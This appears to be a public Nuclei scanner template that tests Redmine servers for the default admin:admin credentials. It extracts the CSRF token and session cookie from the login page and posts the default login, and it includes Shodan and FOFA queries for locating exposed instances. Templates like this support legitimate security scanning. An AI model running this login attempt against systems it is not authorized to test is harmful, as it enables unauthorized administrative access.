redmine-default-login: Redmine - Default Admin Credentials

2026-04-09 Redmine PoC Public

Description

Detected Redmine project management application was found to have been using the default administrator credentials (admin:admin). An attacker could have gained full administrative access to manage projects, users, and system settings.

PoC

id: redmine-default-login

info:
  name: Redmine - Default Admin Credentials
  author: 0x_Akoko
  severity: high
  description: |
    Detected Redmine project management application was found to have been using the default administrator credentials (admin:admin). An attacker could have gained full administrative access to manage projects, users, and system settings.
  reference:
    - https://www.redmine.org/projects/redmine/wiki/RedmineInstall
    - https://www.simplified.guide/redmine/default-password
  metadata:
    verified: true
    max-request: 2
    vendor: redmine
    product: redmine
    shodan-query: 'http.title:"Redmine"'
    fofa-query: 'title="Redmine"'
  tags: redmine,default-login,aut,vuln

variables:
  username: "admin"
  password: "admin"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /login HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "Redmine", "authenticity_token")'
        condition: and

    extractors:
      - type: regex
        name: csrf_token
        part: body
        group: 1
        internal: true
        regex:
          - 'name="authenticity_token"[^>]+value="([^"]+)"'

      - type: regex
        name: session
        part: header
        group: 1
        internal: true
        regex:
          - 'Set-Cookie: (_redmine_session=[^;]+)'

  - raw:
      - |
        POST /login HTTP/1.1
        Host: {{Hostname}}
        Cookie: {{session}}

        authenticity_token={{url_encode(csrf_token)}}&username={{username}}&password={{password}}&login=Login

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - '!contains(to_lower(header), "/login")'
          - 'contains_any(to_lower(header), "/my/page", "/my/account", "redmine")'
          - 'contains(header, "_redmine_session")'
        condition: and
# digest: 4b0a0048304602210093ef8453e8b57f1b34bf1fe019a058bb943773b7185f43f5166d2ea9c29db316022100e956871a1f9387fa764805ef4b7a50626bd9549dfd83f4c566dd33e30d861a60:922c64590222798bb761d5b6d8e72950

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